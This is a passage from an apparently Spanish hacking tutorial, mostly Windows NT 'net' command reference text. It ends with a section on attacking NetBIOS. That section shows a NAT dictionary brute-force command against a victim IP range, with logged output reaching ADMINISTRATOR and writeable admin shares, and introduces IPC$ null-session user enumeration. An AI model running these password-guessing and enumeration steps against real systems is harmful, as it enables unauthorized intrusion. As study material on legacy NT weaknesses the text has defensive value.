dominio o grupo de trabajo especificado.
/users
Envia el mensaje a todos los usuarios conectados al servidor.
mensaje
Es el texto que se enviara como mensaje.
 
 
Ejemplos
--------
 
Para enviar el mensaje "Reunion cambiada a las 15 horas. En el mismo
lugar." al usuario robertof, escriba:
net send robertof Reunion cambiada a las 15 horas. En el mismo lugar.
Para enviar un mensaje a todos los usuarios conectados al servidor,
escriba:
net send /users Este servidor se apagara en 5 minutos.
Para enviar un mensaje que incluya una barra diagonal, escriba:
net send robertof "Formatear tu disco con FORMAT /4"
 
 
Notas
-----
 
Solo se puede enviar un mensaje a un nombre que este activo en la red.
Si lo envia a un nombre de usuario, este debe haber iniciado una
sesion y estar ejecutando el servicio mensajeria para recibir el
mensaje.
Enviar mensajes a varios usuarios
Windows NT proporciona varios metodos para transmitir mensajes.
Puede hacerlo a todos los nombres del dominio de su equipo (con * o
/domain) o a otro dominio diferente (/domain:nombre). Los mensajes
transmitidos pueden tener hasta 128 caracteres.
La opcion /users permite enviar un mensaje a todos los usuarios que
tienen sesiones en el servidor. Los parametros que envian mensajes
a varios usuarios deben usarse con precaucion.
 
 
 
> Net Session:
 
Muestra la lista o desconecta las sesiones entre un equipo local y los
clientes conectados a el.
net session [nombre_equipo] [/delete]
 
 
Parametros
----------
 
ninguno
Escriba net session sin parametros para que se muestre informacion
acerca de todas las sesiones con el equipo local.
Identifica el equipo para el cual se mostraran o desconectaran
sesiones.
/delete
Finaliza la sesion del equipo con nombre_equipo y cierra todos los
archivos abiertos en el equipo para la sesion. Si se omite
nombre_equipo, se cancelaran todas las sesiones del equipo local.
 
 
Ejemplos
--------
 
Para mostrar una lista con informacion sobre las sesiones del servidor
local, escriba:
net session
Para mostrar informacion sobre las sesiones del cliente cuyo nombre de
equipo es SANCHEZ, escriba:
net session sanchez
Para finalizar todas las sesiones entre el servidor y los clientes
conectados, escriba:
net session /delete
 
 
Notas
-----
El comando net session puede escribirse tambien como net sessions o net
sess.
Use el comando net session para ver en pantalla los nombres de equipo
y nombres de usuario de aquellos usuarios que tienen acceso a un
servidor, si tienen archivos abiertos y cuanto tiempo ha permanecido
inactiva la sesion de cada uno de ellos.
La pantalla es similar a la siguiente:
 
Equipo Usuario Tipo de cliente Abierto Inactiva
-------------------------------------------------------------
BASSETT CRISDR NT 1 00:00:13
SANZCA Administrador DOS LM 2.1 0 01:05:13
 
Para mostrar la sesion de un usuario, incluya nombre_equipo con el
comando. La presentacion de un unico usuario incluye una lista de los
recursos compartidos con los que el usuario tiene conexiones.
Una sesion queda registrada cuando un usuario de un cliente entra en
contacto con un servidor. Esto ocurre cuando los dos sistemas estan en
la misma red y el servidor acepta el nombre y la contrase~a del
usuario. Un usuario de un cliente debe tener una sesion iniciada en el
servidor antes de poder usar los recursos compartidos del mismo; una
sesion no se establece hasta que el usuario de un cliente se conecta a
un recurso. Entre un cliente y un servidor solo puede existir una
sesion, pero puede haber varios puntos de entrada, o conexiones, a los
recursos.
Para determinar el tiempo que puede permanecer inactiva una sesion
antes de que se desconecte automaticamente, active la caracteristica
autodisconnect con la opcion /autodisconnect del comando net config
server. El usuario no interviene en este tipo de desconexion, puesto
que Windows NT reanuda automaticamente la conexion en cuanto el usuario
vuelve a usar el recurso.
Para finalizar una sesion con el servidor, use la opcion /delete junto
 
 
> Net Share:
Crea, elimina o muestra recursos compartidos.
net share recurso_compartido
net share recurso_compartido=unidad:ruta_de_acceso
[/users:numero | /unlimited] [/remark:"texto"]
net share recurso_compartido [/users:numero | unlimited]
[/remark:"texto"]
net share {recurso_compartido | unidad:ruta_de_acceso} /delete
 
 
Parametros
----------
 
ninguno
Escriba net share sin parametros para mostrar informacion acerca de
todos los recursos compartidos en el equipo local.
recurso_compartido
Es el nombre de red del recurso compartido. Escriba net share con un
recurso_compartido unicamente para mostrar informacion acerca de
dicho recurso compartido.
unidad:ruta_de_acceso
Especifica la ruta de acceso absoluta del directorio que va a
compartirse.
/users:numero
Establece el numero maximo de usuarios que pueden tener acceso
simultaneamente al recurso compartido.
/unlimited
Especifica que puede tener acceso simultaneamente al recurso
compartido un numero ilimitado de usuarios.
/remark:"texto"
Agrega un comentario descriptivo acerca del recurso. Escriba el texto
entre comillas.
/delete
Deja de compartir un recurso.
 
 
 
Ejemplos
-------
 
Para mostrar informacion acerca de los recursos compartidos en el
equipo, escriba:
net share
Para compartir el directorio C:CARTAS de un equipo con el nombre
compartido SECRETARIA e incluir un comentario, escriba:
net share secretaria=c:cartas /remark:"Para el departamento 123."
Para dejar de compartir el directorio CARTAS, escriba:
net share secretaria /delete
Para compartir el directorio C:LST FIG de un equipo con el nombre
compartido LISTA, escriba: net share lista="C:lst fig"
 
 
Notas
-----
 
Use el comando net share para compartir recursos.
Para compartir un directorio con una ruta de acceso que contiene un
caracter en blanco, escriba la unidad y la ruta del directorio entre
comillas (" ").
Cuando se muestran todos los recursos compartidos de un equipo, Windows
NT indica el nombra del recurso compartido, el nombre o nombres de
dispositivo o rutas de acceso asociadas con el recurso y un comentario
descriptivo acerca de este.
La presentacion en pantalla es similar a la siguiente:
 
Nombre Recurso Comentario
-------------------------------------------------------
ADMIN$ C:WINNT Admin remota
C$ C: Uso interno
print$ C:WINNTSYSTEMSPOOL
IPC$ IPC remota
LASER LPT1 En cola Impresora laser
 
Los recursos compartidos de un servidor se guardan a medida que se
crean. Cuando detenga el servicio Servidor, todos los recursos
compartidos se desconectaran, pero se volveran a conectar
automaticamente en cuanto vuelva a iniciarse el servicio o cuando se
reinicie el equipo.
 
 
> Net Start:
Inicia un servicio o muestra una lista de los servicios iniciados. Los
nombres de servicios que son de dos o mas palabras, como inicio de
sesion de red o Examinador de equipos, deben estar entre comllas (" ").
net start [servicio]
 
 
Parametros
---------
 
ninguno
Escriba net start sin parametros para mostrar una lista de los
servicios en ejecucion.
servicio
Puede ser:
1. Alerta
2. Servicio de cliente para netware
3. Servidor del Portafolio
4. Examinador de equipo
5. Cliente dhcp
6. Duplicador de directorios
7. Registro de sucesos
8. Servicio de publicacion de FTP
9. LPDSVC
10. Mensajeria
11. Inicio de sesion
12. DDE de red
13. DSDM DDE de red
14. Agente de supervision de red
15. Proveedor de seguridad nt lm
16. OLE
17. Administrador de conexiones de acceso remoto
18. Servidor de acceso remoto
19. Localizador de llamada a procedimientos remotos (rpc)
20. Servicio de llamada a procedimientos remotos
21. Schedule
22. Servidor
23. Servicios simples de tcp/ip
24. SNMP
25. Spooler
26. Ayuda de NetBIOS de tcp/ip
27. SAI
28. Estacion de trabajo
Los siguientes servicios solo estan disponibles en Windows NT Server:
1. Servidor de archivos para Macintosh
2. Servidor de puerta de enlace o gateway para netware
3. Servidor de DHCP de Microsoft
4. Servidor de impresion para Macintosh
5. Inicio remoto
6. Servicio de nombres Internet de windows
 
 
Notas
-----
 
Use el comando net start servicio para iniciar un servicio de Windows
NT. Algunos servicios dependen de otros servicios.
Puede utilizar la opcion Servicios en el Panel de control para
configurar el inicio y la detencion automatica de los servicios. Esta
opcion tambien le permite detener, iniciar, interrumpir y continuar los
servicios de red manualmente.
Los nombres de servicios que constan de dos o mas palabras, como Inicio
de sesion de red o Examinador de equipos, deben estar entre comillas
(" ").
Este comando tambien inicia los servicios de red que no estan incluidos
en Windows NT.
Los servicios que pueden iniciarse son:
Net Start "Administrador de conexiones de acceso remoto"
Net Start "Agente de supervisi¢n de red"
Net Start "Ayuda de NetBIOS de TCP/IP"
Net Start "Cliente de DHCP"
Net Start "DDE de red"
Net Start "Duplicador de directorios"
Net Start "Estacion de trabajo"
Net Start "Examinador de equipos"
Net Start "Inicio de sesi¢n de red"
Net Start "Inicio remoto"
Net Start "Localizador de rpc"
Net Start "Proveedor de seguridad NT LM"
Net Start "Registro de sucesos"
Net Start "Servicio de cliente para NetWare"
Net Start "Servicio de llamada a procedimientos remotos (RPC)"
Net Start "Servicio de nombres Internet de Windows"
Net Start "Servicio de publicaci¢n de FTP"
Net Start "Servicio de puerta de enlace o gateway para NetWare"
Net Start "Servicio ISNSAP de acceso remoto"
Net Start "Servicio Schedule"
Net Start "Servicios simples de TCP/IP"
Net Start "Servidor de acceso remoto"
Net Start "Servidor de archivos para Macintosh"
Net Start "Servidor de dde de red"
Net Start "Servidor de impresion para Macintosh"
Net Start "Servidor de Portafolio"
Net Start "Servidor DHCP de Microsoft"
Net Start Alerta
Net Start Lpdsvc
Net Start Mensajeria
Net Start Sai
Net Start Servidor
Net Start Snmp
Net Start Spooler
 
 
> Net Stadistics:
Muestra el registro de estadisticas del servicio local Estacion de
trabajo o Servidor.
net statistics [workstation | server]
 
 
Parametros
----------
 
ninguno
Escriba net stadistics sin parametros para obtener una lista de los
servicios en ejecucion para los cuales hay datos estadisticos
disponibles.
workstation
Muestra los datos estadisticos del servicio local Estacion de
trabajo.
server
Muestra los datos estadisticos del servicio local Servidor.
 
 
Ejemplos
--------
 
Para mostrar los servicios en ejecucion para los que hay estadisticas
disponibles, escriba:
net stats
Para mostrar las estadisticas del servicio servidor y evitar que se
desplace por la pantalla, escriba:
net statistics server | more
 
 
Notas
-----
 
Este comando puede escribirse tambien como net stats.
Use el comando net stadistics para mostrar informacion sobre el
rendimiento del servicio especificado.
 
El servicio servidor:
Windows NT indica el nombre de equipo, la fecha y hora en que se
actualizaron por ultima vez las estadisticas, y proporciona la
siguiente informacion:
1. El numero de sesiones que se iniciaron, se desconectaron
automaticamente y se desconectaron a causa de error.
2. El numero de kilobytes enviados y recibidos, y el tiempo medio de
respuesta del servidor.
3. El numero de errores e infracciones de contrase~a y limites de
permiso.
4. El numero de veces que se usaron los archivos, impresoras y
dispositivos de comunicaciones compartidos.
5. El numero de veces que se excedio el tama~o del bufer de memoria.
 
El servicio Estacion de trabajo:
Windows NT indica el nombre de equipo del equipo, la fecha y hora en
que se actualizaron por ultima vez las estadisticas, y proporciona la
siguiente informacion:
1. El numero de bytes y SMB recibidos y transmitidos.
2. El numero de operaciones de lectura y escritura logradas o
fallidas.
3. El numero de errores en la red.
4. El numero de sesiones fallidas, desconectadas o conectadas
nuevamente.
5. El numero de conexiones a recursos compartidos logradas o
fallidas.
 
 
> Net Stop:
Detiene un servicio de Windows NT.
net stop servicio
 
 
Parametros
----------
 
servicio
Puede ser alerta, servicio de cliente para netware, Servidor del
Portafolio, examinador de equipos, duplicador de directorios,
servicio de publicacion de FTP, lpdsvc, mensajeria, inicio de sesion
de red, dde de red, dsdm de red, agente de supervision de red,
proveedor de seguridad nt lm, ole, administrador de conexiones de
acceso remoto, servicio isnsap de acceso remoto, servidor de acceso
remoto, localizador de llamada a procedimientos remotos (rpc),
schedule, servidor, servicios simples de tcp/ip, snmp, spooler,
ayuda de NetBIOS de tcp/ip, sai y estacion de trabajo.
Los siguientes servicios solo estan disponibles en Windows NT
Server: servidor de archivos para macintosh, servicio de puerta de
enlace o gateway para netware, servidor dhcp de microsoft, servidor
de impresion para macintosh, servicio de nombres internet de
windows.
 
 
Notas
-----
 
Detiene un servicio para suprimir la funcion que realiza en la red y
para eliminar el software de la memoria.
Al detener el servicio Servidor se impide que los usuarios tengan
acceso a los recursos compartidos del equipo. Si detiene el servicio
Servidor cuando los usuarios estan teniendo acceso a los recursos,
Windows NT mostrara un mensaje de advertencia pidiendo confirmacion
antes de cancelar las conexiones. Una respuesta afirmativa cancelara
todas las conexiones con el equipo.
Antes de detener el servicio Servidor, puede hacer lo siguiente:
1. Efectuar una pausa en el servicio (para no permitir nuevas
conexiones)
2. Enviar un mensaje advirtiendo a los usuarios de que deben
desconectarse de los recursos del servidor.
Net stop tambien puede detener servicios de red no suministrados con
Windows NT.
 
 
> Net Time:
Sincroniza el reloj del equipo con el de otro equipo o dominio. Si se
utiliza sin la opcion /set, muestra la hora de otro equipo o dominio.
net time [nombre_equipo | /domain[:nombre]] [/set]
 
 
Parametros
----------
 
Es el nombre del servidor que desee comprobar o con el que desee
sincronizar las estaciones de trabajo.
/domain[:nombre]
Es el dominio con el que desea sincronizar la hora.
/set
Sincroniza el reloj del equipo con el del equipo o dominio
especificado.
 
 
> Net Use:
Conecta o desconecta un equipo de un recurso compartido o muestra
informacion acerca de las conexiones del equipo. Tambien controla las
conexiones de red persistentes. Como veremos mas adelante, este comando
es de una gran importancia para averiguar informacion sobre el sistema.
net use [nombre_dispositivo]
[contrase~a | *]] [/user:[nombre_dominio]nombre_usuario]
[[/delete] | [/persistent:{yes | no}]]
net use nombre_dispositivo [/home[contrase~a | *]]
[/delete:{yes | no}]
net use [/persistent:{yes | no}]
 
 
Parametros
----------
 
ninguno
Escriba net use sin parametros para obtener una lista de las
conexiones de red.
nombre_dispositivo
Aigna un nombre para la conexion al recurso o especifica el
dispositivo que se va a desconectar. Hay dos tipos de nombres de
dispositivos: unidades de disco (D a Z) e impresoras (LPT1 A LPT3).
Escriba un asterisco en lugar de un nombre especifico de dispositivo
para asignar el siguiente nombre de dispositivo disponible.
Es el nombre del servidor y del recurso compartido. Si el nombre de
equipo contiene caracteres en blanco, escriba la barra invertida
doble () y el nombre entre comillas (" "). El nombre del equipo
puede tener entre 1 y 15 caracteres.
volumen
Especifica un volumen NetWare del servidor. Para poder conectarse con
servidores NetWare debe tener instalado y estar ejecutando el
Servicio de cliente para NetWare (Windows NT Workstation) o el
servicio de puerta de enlace o gateway para NetWare (Windows NT
Server).
Contrase~a
Es la contrase~a necesaria para tener acceso al recurso compartido.
*
Pide por la contrase~a. Los caracteres no se muestran en pantalla a
medida que los escribe.
/user
Especifica un nombre de usuario diferente con el que se realiza la
conexion.
nombre_dominio
Especifica otro dominio. Por ejemplo,
net use d: servidorrecurso_compartido /user:adminmario conecta el
usuario mario de la misma forma que si la conexion se realizara desde
el dominio administrador. Si se omite el dominio, se usara aquel en
el que tenga lugar la conexion actual.
nombre_usuario
Especifica el nombre de usuario con el que se iniciara la sesion.
/home
Conecta a un usuario con su directorio particular.
/delete
Cancela la conexion de red especificada. Si el usuario especifica la
conexion mediante un asterisco se cancelaran todas las conexiones de
red.
/persistent
Controla el uso de conexiones de red persistentes. El valor
predeterminado es la ultima configuracion utilizada. Las conexiones
sin dispositivos no son persistentes.
yes
Guarda todas las conexiones tal como se realizaron y las restaura en
el siguiente inicio de sesion.
no
No guarda la conexion en curso ni las siguientes. Las existentes se
restauraran en el siguiente inicio de sesion. Use el modificador
/delete para eliminar conexiones persistentes.
 
 
Ejemplos
--------
 
Para asignar el nombre de dispositivo de unidad de disco E: al
directorio compartido CARTAS del servidor FINANCIERO, escriba:
net use e: financierocartas
Para asignar el nombre de dispositivo de unidad de disco M: al
directorio MARIA dentro del volumen CARTAS del servidor NetWare
FINANCIERO, escriba:
Para asignar el nombre de dispositivo LPT1 a la cola de impresora
compartida LASER2 del servidor CONTABILIDAD, escriba:
net use lpt1: contabilidadl ser2
Para desconectarse de la cola de impresora LPT1, escriba:
net use lpt1: /delete
Para asignar el nombre de dispositivo de unidad de disco H: al
directorio particular del usuario mario, escriba:
net use h: contabilidadusuarios /home /user:mario
Para asignar el nombre de dispositivo de unidad de disco F: al
directorio compartido NOTAS del servidor FINANCIERO, que requiere la
contrase~a hctarcs, sin que la conexion sea persistente, escriba:
net use f: financieronotas hctarcs /persistent:no
Para desconectarse del directorio FINANCIERONOTAS, escriba:
net use f: financieronotas /delete
Para conectarse a un recurso compartido del servidor FINANCIERO2,
escriba:
net use k: "financiero 2"circulares
Si el nombre del servidor incluye un espacio en blanco, escribalo entre
comillas; de lo contrario, Windows NT mostrara un mensaja de error.
Para restaurar las conexiones actuales cada vez que se inicie una
sesion, independientemente de cambios futuros, escriba:
net use /persistent:yes
 
Notas
-----
Utilice el comando net use para efectuar la conexion o desconexion de
un recurso de la red y para ver sus conexiones actuales con dichos
recursos. Es imposible desconectarse de un directorio compartido si se
utiliza como unidad actual o si esta en uso por un proceso activo.
Hay varias formas de obtener informacion acerca de una conexion:
1. Escriba net use nombre_dispositivo para obtener la informacion
acerca de una conexion especifica.
2. Escriba net use para obtener una lista de todas las conexiones
del equipo.
 
Conexiones sin dispositivos
Las conexiones sin dispositivos no son persistentes.
Conexion con servidores NetWare
Una vez que el software Servicio de cliente para NetWare o Servicio de
puerta de enlace o gateway para NetWare esta instalado y en ejecucion,
podra conectarse a un servidor NetWare en una red novell. Utilice la
misma sintaxis que al conectarse a un servidor de red de Windows,
excepto que debe incluir el volumen con el que desea conectarse.
 
 
> Net User:
Agrega o modifica cuentas de usuario o muestra informacion acerca de
ellas.
net user [nombre_usuario [contrase¤a | *] [opciones]] [/domain]
net user nombre_usuario {contrase¤a | *} /add [opciones] [/domain]
net user nombre_usuario [/delete] [/domain]
 
 
Parametros
----------
 
ninguno
Escriba net user sin parametros para ver una lista de las cuentas de
usuario del equipo.
nombre_usuario
Es el nombre de la cuenta de usuario que se desea agregar, eliminar,
modificar o ver. El nombre de la cuenta de usuario puede tener hasta
20 caracteres.
contrase~a
Asigna o cambia una contrase~ a para la cuenta de usuario. Una
contrase~a debe tener la longitud minima establecida con la opcion
/minpwlen del comando net accounts y puede tener un maximo de 14
caracteres.
*
Pide la contrase~a. Los caracteres no se muestran en pantalla a
medida que los escribe.
/domain
Realiza la operacion en el controlador principal del dominio
principal del equipo.
Este parametro se aplica unicamente a equipos con Windows NT
Workstation que son miembros de un dominio de Windows NT Server. De
forma predeterminada, los equipos con Windows NT Server realizan las
operaciones en el controlador principal de dominio.
NOTA: Esta accion se lleva a cabo en el controlador principal del
dominio principal del equipo. Puede que no se inicie la sesion
en el dominio.
/add
Agrega una cuenta de usuario a la base de datos de cuentas de
usuario.
/delete
Quita una cuenta de usuario de la base de datos de cuentas de
usuario.
 
 
Opciones
--------
 
/active:{no | yes}
Desactiva o activa la cuenta de usuario. Si no esta activa, el
usuario no puede tener acceso a los recursos del equipo. El valor
predeterminado es yes (activa).
/comment:"texto"
Proporciona un comentario descriptivo acerca de la cuenta de usuario.
Puede hasta tener 48 caracteres. Escriba el texto entre comillas.
/countrycode:nnn
Usa los codigos de pais del sistema operativo para instalar los
archivos de ayuda y mensajes de error en el idioma especificado. Un
valor 0 significa el codigo de pais predeterminado.
/expires:{fecha | never}
El parametro fecha establece una fecha de caducidad de la cuenta de
usuario, mientras que never determina una duracion ilimitada de dicha
cuenta. Las fechas de caducidad pueden darse en el formato mm/dd/aa o
mm,dd,aa, dependiendo de /countrycode. Observe que la cuenta caduca
al comienzo de la fecha especificada. Los meses pueden indicarse con
un numero, con todas sus letras o abreviados con tres letras. Los
a~os pueden constar de dos o cuatro digitos. Utilice comas o barras
diagonales para separar por partes de la fecha (no espacios en
blanco). Si se omite aa, se asume el a~o de la siguiente fecha (de
acuerdo con la fecha y hora de su equipo). Por ejemplo, las
siguientes entradas de fecha son equivalentes si se introducen
entre el 10 de enero de 1994 y el 8 de enero de 1885.
jan,9 /9/95 ,9,1995 /9
/fullname:"nombre"
Agrega un determinado nombre al usuario en lugar de su nombre de
usuario normal. Escriba dicho nombre entre comillas.
/homedir:ruta_acceso
Establece la ruta de acceso del directorio particular del usuario.
Dicha ruta debe ser una ya existente.
/homedirreq:{yes | no}
Establece si es necesario un directorio particular.
/passwordchg:{yes | no}
Especifica si los usuarios pueden cambiar su contrase~a. El valor
predeterminado es yes.
/passwordreq:{yes | no}
Especifica si una cuenta de usuario debe tener una contrase~a. El
valor predeterminado es yes.
/profilepath[:ruta_acceso]
Establece una ruta de acceso para el perfil de inicio de sesion del
usuario. Dicha ruta lleva a un perfil de registro.
/scriptpath:ruta_acceso
Establece una ruta de acceso al archivo de comandos de inicio de
sesion del usuario. Ruta_acceso no puede ser una ruta absoluta; es
relativa a %raiz_sistema%SYSTEM32REPLIMPORTSCRIPTS.
/times:{horas | all}
Especifica las horas en las que se permite al usuario el uso del
equipo. El valor horas se expresa como dia.
[-dia][,dia[-dia]] ,hora[-hora][,hora[-hora]], limitado a incrementos
de una hora. Los dias se pueden deletrear o abreviar (L, M, Mi, J, V,
S, D). Las horas se pueden escribir en formato de 12 o 24 horas. Para
el formato de 12 horas, use AM, PM, O A.M., P.M. El valor all
significa que un usuario puede iniciar una sesion en cualquier
momento. Un valor nulo (en blanco) significa que un usuario nunca
puede iniciar la sesion. Separe al dia y la hora mediante comas, y
las unidades de dia y hora con punto y coma (por ejemplo,
L,4AM-5PM;M,1AM-3PM). No use espacios en la especificacion de /times.
/usercomment:"texto"
Permite que un administrador agregue o cambie el "Comentario de
usuario" de la cuenta. Escriba el texto entre comillas.
/workstations:{nombre_equipo [,...] | *}
Lista de hasta ocho estaciones de trabajo desde las que un usuario
puede iniciar una sesion en la red. Separe los nombres de las
estaciones con una coma. Si /workstation no es una lista o esta es
igual a un *, el usuario puede iniciar una sesion desde cualquier
equipo.
 
 
Ejemplos
--------
 
Para mostrar una lista de todas las cuentas de usuario del equipo
local, escriba:
net user
Para ver informacion acerca de la cuenta juanh, escriba:
net user juanh
Para agregar una cuenta de usuario para Enrique Perez, con derechos de
inicio de sesion desde las 8 A.M. a 5 P.M. de lunes a viernes (sin
espacios en las especificaciones de las horas), una contrase~a
obligatoria y el nombre completo del usuario, escriba:
net user enriquep enriquep /add /passwordreq:yes
/times:lunes-viernes,8am-5pm
/fullname:"Enrique P‚rez"
El nombre de usuario ( enriquep) se escribe la segunda vez como
contrase~a.
Para establecer la hora de inicio de sesion de juansp (8 A.M. a 5 P.M.)
usando la notacion de 24 horas, escriba:
net user juansp /time:Lun-Vie,08:00-17:00
Para establecer la hora de inicio de sesion de juansp (8 A.M a 5 P.M.)
usando la notacion de 12 horas, escriba:
net user juansp /time:Lun-Vie,8am-5pm
Para especificar las horas de inicio de sesion de 4 A.M a 5 P.M. los
Lunes, 1 P.M. a 3 P.M. los martes y 8 A.M. a 5 P.M. de Miercoles a
Viernes para mariasl, escriba:
net user mariasl /time:Lun,4am-5pm;Mar,1pm-3pm;Mie-Vie,8:00-17:00
Para establecer /homedirreq en yes para enriquep y asignarle
SERVIDORUSUARIOSENRIQUEP como directorio particular, escriba:
net user enriquep /homedirreq:yes
 
Notas
-----
Este comando puede escribirse tambien como net users.
Use el comando net user para crear y controlar las cuentas de usuarios
de un dominio. La informacion sobre dichas cuentas se almacena en la
base de datos de cuentas de usuario.
Cuando escriba el comando net user en un equipo que ejecute Windows NT
Server, los cambios en la base de datos de cuentas se produciran
automaticamente, en el controlador principal de dominio y luego se
duplicaran en los controladores de reserva. Esto es valido unicamente
para los dominios de Windows NT Server.
 
 
> Net View:
Muestra una lista de dominios, una lista de equipos o los recursos
compartidos en el equipo especificado.
net view [nombre_equipo | /domain[:nombre_dominio]]
net view /network:nw [nombre_equipo]
 
Parametros
----------
ninguno
Escriba net view sin parametros para mostrar la lista de los equipos
del dominio actual.
nombre_equipo
Especifica el equipo cuyos recursos compartidos desea ver.
/domain[:nombre_dominio]
Especifica el dominio del que se desean ver los equipos disponibles.
Si se omite nombre_dominio, se mostraran todos los dominios de la
red.
/network:nw
Muestra todos los servidores disponibles de una red NetWare. Si se
especifica un nombre de equipo, se mostraran los recursos
disponibles en dicho equipo de la red NetWare. Mediante esta opcion
tambien pueden especificarse otras redes que se hayan agregado al
sistema.
 
Ejemplos
--------
Para ver una lista de los recursos compartidos por el equipo
PRODUCTOSM, escriba:
net view productos
Para ver los recursos disponibles en el servidor NetWare MARKETING,
escriba:
net view /network:nw marketing
Para ver una lista de los equipos del dominio o grupo de trabajo Ventas,
escriba:
net view /domain:ventas
 
Notas
-----
Use el comando net view para mostrar una lista de equipos similar a la
siguiente:
 
Nombre de servidor Comentario
-------------------------------------------------------------------
PRODUCCION Servidor de archivos de Produccion
PRINT1 Sala de impresoras, primer piso
PRINT2 Sala de impresoras, segundo piso
 
 
[ 5.4 - Nbtstat ]
---------------
Veamos mas detenidamente este util comando. He aqui sus parametros:
- a : Lista la tabla de nombres de los ordenadores remotos a partir del
nombre de la maquina.
- A : Lista la tabla de nombres de los ordenadores remotos a partir de su
IP.
- c : Lista los nombres de cache remotos incluyendo sus IP's.
- n : Lista los nombres NetBIOS *locales*.
- r : Lista los nombres resueltos via broadcast y via WINS.
- R : Depura y actualiza la tabla de nombres de cache remoto.
- S : Lista tablas de sesiones a partir de la IP.
- s : Lista tablas de sesiones convirtiendo las IP's a nombres NetBIOS.
NetBIOS no tiene ningun error de dise~o, o por lo menos si lo hay no ha
salido a la luz. Sin embargo hay una herramienta (puede haber mas, sin
 
 
 
[ 5.4 - Vulnerabilidades de NetBIOS ]
-----------------------------------
 
NetBIOS tiene muy pocos errores de dise~o, asi que para poder hackear una
maquina NT por NetBIOS, solo tendremos dos opciones principalmente: Extraer
informacion de la maquina por IPC$ o averiguar sus contrase~as a traves del
NAT.
Si se dispone de un se~or diccionario (entiendase por un diccionario cuyo
tama~o ronde los 1024k) en el idioma adecuado, tenemos un objetivo que no
esta demasiado concienciado por las contrase~as y con unos recursos
"protegidos" por contrase~a, NAT podria alegrarnos el dia.
Veamos mas a fondo esta herramienta.
 
 
[ 5.4.1 - NAT ]
-------------
Son las siglas de NetBIOS Auditing Tool, o herramienta para auditorear
NetBIOS.
Como ya he dicho antes es una muy util herramienta. Veamos como usarla.
 
Argumentos
----------
nat -o resultados -u listausuarios -p listapasswords direccion_IP
Con el parametro "-o" se especifica el fichero en el cual se guardaran
los resultados de la auditoria. Con el parametro "-u" se especifica el
fichero en el que tendremos una lista de los usuarios cada uno separados por
un salto de linea. Con el parametro "-p" especificamos el fichero en el que
guardamos las contrase~as que NAT ira probando con cada usuario, separadas
por un salto de carro. Y en Direccion_IP metemos la IP o DNS de la victima.
Tambien podemos conseguir hacer un barrido de IP's especificando la IP de
inicio y la IP final, por ejemplo 123.12.13.1-255, que haria un barrido de
clase C. Se pueden lograr mas combinaciones en este apartado, para ello
recomiendo leer el NAT_DOC.txt que acompa~a a NAT.
Veamos un ejemplo del uso de NAT, sacado de un documento de Rhino9:
 
C:nat -o vacuum.txt -u usuarios.txt -p pass.txt 204.73.131.10-204.73.131.30
 
[*]--- Reading usernames from usuarios.txt
[*]--- Reading passwords from pass.txt
[*]--- Checking host: 204.73.131.11
[*]--- Obtaining list of remote NetBIOS names
[*]--- Attempting to connect with name: *
[*]--- Unable to connect
[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
[*]--- Server time is Mon Dec 01 07:44:34 1997
[*]--- Timezone is UTC-6.0
[*]--- Remote server wants us to encrypt, telling it not to
[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to establish session
[*]--- Was not able to establish session with no password
[*]--- Attempting to connect with Username: ADMINISTRATOR' Password: `pass'
[*]--- CONNECTED: Username: ·DMINISTRATOR' Password: `pass'
[*]--- Obtained server information:
Server=[STUDENT1] User=[] Workgroup=[DOMAIN1] Domain=[]
[*]--- Obtained listing of shares:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk: Remote Admin
C$ Disk: Default share
IPC$ IPC: Remote IPC
NETLOGON Disk: Logon server share
Test Disk:
[*]--- This machine has a browse list:
Server Comment
--------- -------
STUDENT1
 
 
[*]--- Attempting to access share: *SMBSERVER
[*]--- Unable to access
[*]--- Attempting to access share: *SMBSERVERADMIN$
[*]--- WARNING: Able to access share: *SMBSERVERADMIN$
[*]--- Checking write access in: *SMBSERVERADMIN$
[*]--- WARNING: Directory is writeable: *SMBSERVERADMIN$
[*]--- Attempting to exercise .. bug on: *SMBSERVERADMIN$
[*]--- Attempting to access share: *SMBSERVERC$
[*]--- WARNING: Able to access share: *SMBSERVERC$
[*]--- Checking write access in: *SMBSERVERC$
[*]--- WARNING: Directory is writeable: *SMBSERVERC$
[*]--- Attempting to exercise .. bug on: *SMBSERVERC$
[*]--- Attempting to access share: *SMBSERVERNETLOGON
[*]--- WARNING: Able to access share: *SMBSERVERNETLOGON
[*]--- Checking write access in: *SMBSERVERNETLOGON
[*]--- Attempting to exercise .. bug on: *SMBSERVERNETLOGON
[*]--- Attempting to access share: *SMBSERVERTest
[*]--- WARNING: Able to access share: *SMBSERVERTest
[*]--- Checking write access in: *SMBSERVERTest
[*]--- Attempting to exercise .. bug on: *SMBSERVERTest
[*]--- Attempting to access share: *SMBSERVERD$
[*]--- Unable to access
[*]--- Attempting to access share: *SMBSERVERROOT
[*]--- Unable to access
[*]--- Attempting to access share: *SMBSERVERWINNT$
[*]--- Unable to access
Una vez el NAT se encuentra auditando un host, y encuentra alguna cuenta
valida, te informa sobre los recursos a los que puedes acceder y con que
privilegios tienes sobre ellos.
 
 
[ 5.4.2 - IPC$ ]
--------------
Muchos de vosotros estareis pensando en como algunos programas son
capaces de saber todos los usuarios en una maquina NT remota, ademas de
poder extraer mucha informacion interesante que sin duda no deberia ser
accesible por cualquiera. La respuesta esta en el recurso (pseudo)oculto del
IPC. IPC son las siglas de Inter-Process Communication, y es usado para
las comunicaciones entre maquinas NT. Asi cuando una maquina quiere saber
determinada informacion sobre la otra... utiliza este recurso para ello.
Esto estaria muy bien si el recurso no estuviera accesible para todo el
mundo, claro.
Este recurso funciona en W2K y WNT, de la misma forma, dando la misma
informacion a cualquiera, sin necesidad de identificarse. Esto no esta nada
bien. Entre la gran informacion que es capaz de proporcionarnos nos podemos
con de nombres de usuarios validos, grupos validos, caracteristicas de las
cuentas, recursos compartidos, nombre del dominio, etc. Para que luego
algunos admistradores pongan el grito en el cielo porque a traves de IIS se
puede saber el nombre de dominio del servidor.
Todo lo que necesitaremos para explotar este recurso es un interprete de
comandos de Ms-Dos, y las clasicas herramientas Sid2User y User2Sid. El
primero te da un nombre de usuario/grupo a partir de un Sid y el segundo te
da un Sid a partir de un nombre de usuario.
Vamos a poner un ejemplo de sustraccion de informacion via IPC$. Yo nunca
